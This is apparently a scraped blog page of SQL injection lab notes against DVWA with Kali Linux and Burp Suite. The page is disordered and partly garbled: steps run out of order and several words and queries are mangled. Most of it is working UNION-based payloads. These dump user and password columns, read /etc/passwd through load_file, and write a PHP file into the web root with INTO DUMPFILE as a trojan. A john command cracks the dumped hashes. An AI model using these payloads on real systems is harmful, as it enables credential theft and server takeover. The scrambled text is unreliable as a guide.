applekasce.blogg.se

#Sql injection tool kali linux login password

Turn on the function of BurpSuite truncation proxy, and submit numbers randomly in the web page, proxy > send to repeater ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'. ' union select null,"" INTO DUMPFILE "/var/www/a.php". It dumps the input into the server system in the form of a file, followed by the specified placement path. Trojan horse, INTO DUMPFILE is a default integrated function of mysql database management system. ' union select null, load_file('/etc/passwd'). Using load in database management_ File() function 1. The next step is to complete it in burpsuuite. Hackbar is a good tool, but the burpseuite with truncation agent function is more convenient.

' union select null,concat(user,0x3a,password) from users-+ The display format changes and the content is the sameĬrack password based on Hash john -format=raw-MD5 /root/Desktop/12/dw1.txt -show ' union select user,password from users-+ When querying the current database, the name of the table can be written directly instead of the name of the database Query user,password The contents of the column ' union select table_name,column_name from information_lumns where table_schema='dvwa' and table_name='users'-+ User All columns in the table( user_id,first_name,last_name,user\password\avatar)

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'-+ ' union select table_schema,count(*) from information_schema.tables group by table_schema-+

' union select table_name,table_schema from information_schema.tables-+Ĭount the number of tables in each database The hackbar plug-in is very convenient to modify the url 'union select user(),database() - database nameĬonnection string: CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 'union select user(),version() - queries the current user and database version The select query statement is as follows: select first_name,surname from users where id ='1' union select user(),2- ' Query results: according to the results, you can locate the fields in which First name and Surname are located.ġ 'union select user(), 2 - replace the 1 field with the function user() to query the user of the current database The select query statement is as follows: select first_name,surname from users where id ='' union select 1,2- ' 'union select 1,2 - close the server side', and determine where the query results of fields 1 and 2 will appear on the page.

When select ing *, the number of table fields = the number of query fields.

'order by number - ා sort by query column number (comment: -) "-" is followed by a space.

Number of table columns / which column is the display information in.

Determine which fields the SQL statement queries.

Select first_name,surname from users where id='' Guess what's possible here sql The query statement is Query method Detection method based on error report (low) ' " % ()etc.ĭetection based on Boolean 1' and '1'='1' / 1' and '1

SELECT * FROM users WHERE user='name' AND password=" OR "=".

SELECT * FROM users WHERE user='uname' AND password='pass'.

The server-side program takes the user input parameters as query conditions, directly splices SQL statements, and returns the query results to the client browser.

Kali linux: 172.16.2.65 Principle of SQL injection vulnerability

#Sql injection tool kali linux login password